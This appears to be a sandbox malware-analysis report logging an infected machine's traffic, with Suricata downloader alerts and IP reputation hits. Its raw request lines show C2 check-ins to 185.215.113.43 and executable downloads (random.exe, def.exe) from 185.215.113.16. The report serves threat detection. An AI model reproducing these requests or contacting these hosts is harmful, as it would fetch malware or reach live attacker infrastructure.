Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 41 32 43 37 39 42 35 35 44 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBA2C79B55D82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 41 32 43 37 39 42 35 35 44 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBA2C79B55D82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 104.21.53.8 104.21.53.8
Source: Joe Sandbox View IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View IP Address: 185.215.113.37 185.215.113.37
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca
Suricata IDS alerts with low severity for network traffic
Source: Network traffic Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:49756 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49854 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49887 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49920 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49963 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:49963 -> 185.215.113.16:80
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: firefox.exe, 0000001A.00000002.2809264505.0000014D5214B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2809264505.0000014D5214B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D513DF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: BETWEEN :prefix || 'www.' || :strippedURL AND :prefix || 'www.' || :strippedURL || X'FFFF'https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D51372000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJEhttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POST equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D51372000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJEhttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POST equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D51372000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: WHERE https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/[{incognito:null, tabId:null, types:["sub_frame"], urls:["*://trends.google.com/trends/embed*"], windowId:null}, ["blocking", "responseHeaders"]]Boolean used to determine if the results defined in `exposureResults` should be shown in search results. Should be false for Control branch of an experiment.The number of recent visits to sample when calculating the ranking of a page. Examining all the visits would be expensive, so we only sample recent visits.[{incognito:null, tabId:null, types:["main_frame"], urls:["*://login.microsoftonline.com/*", "*://login.microsoftonline.us/*"], windowId:null}, ["blocking"]], equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D51372000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: WHERE https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/[{incognito:null, tabId:null, types:["sub_frame"], urls:["*://trends.google.com/trends/embed*"], windowId:null}, ["blocking", "responseHeaders"]]Boolean used to determine if the results defined in `exposureResults` should be shown in search results. Should be false for Control branch of an experiment.The number of recent visits to sample when calculating the ranking of a page. Examining all the visits would be expensive, so we only sample recent visits.[{incognito:null, tabId:null, types:["main_frame"], urls:["*://login.microsoftonline.com/*", "*://login.microsoftonline.us/*"], windowId:null}, ["blocking"]], equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D51372000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: WHERE https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/[{incognito:null, tabId:null, types:["sub_frame"], urls:["*://trends.google.com/trends/embed*"], windowId:null}, ["blocking", "responseHeaders"]]Boolean used to determine if the results defined in `exposureResults` should be shown in search results. Should be false for Control branch of an experiment.The number of recent visits to sample when calculating the ranking of a page. Examining all the visits would be expensive, so we only sample recent visits.[{incognito:null, tabId:null, types:["main_frame"], urls:["*://login.microsoftonline.com/*", "*://login.microsoftonline.us/*"], windowId:null}, ["blocking"]], equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D513DF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: )) OVER (PARTITION BY fixup_url(host)) > 0UpdateService.canUsuallyCheckForUpdates - unable to automatically check for updates, the option has been disabled by the administrator.Downloader:onStopRequest - notifying observers of error. topic: update-error, status: download-attempts-exceeded, downloadAttempts: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/( equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D513DF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: )) OVER (PARTITION BY fixup_url(host)) > 0UpdateService.canUsuallyCheckForUpdates - unable to automatically check for updates, the option has been disabled by the administrator.Downloader:onStopRequest - notifying observers of error. topic: update-error, status: download-attempts-exceeded, downloadAttempts: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/( equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "*://www.facebook.com/platform/impression.php*" equals www.facebook.com (Facebook)
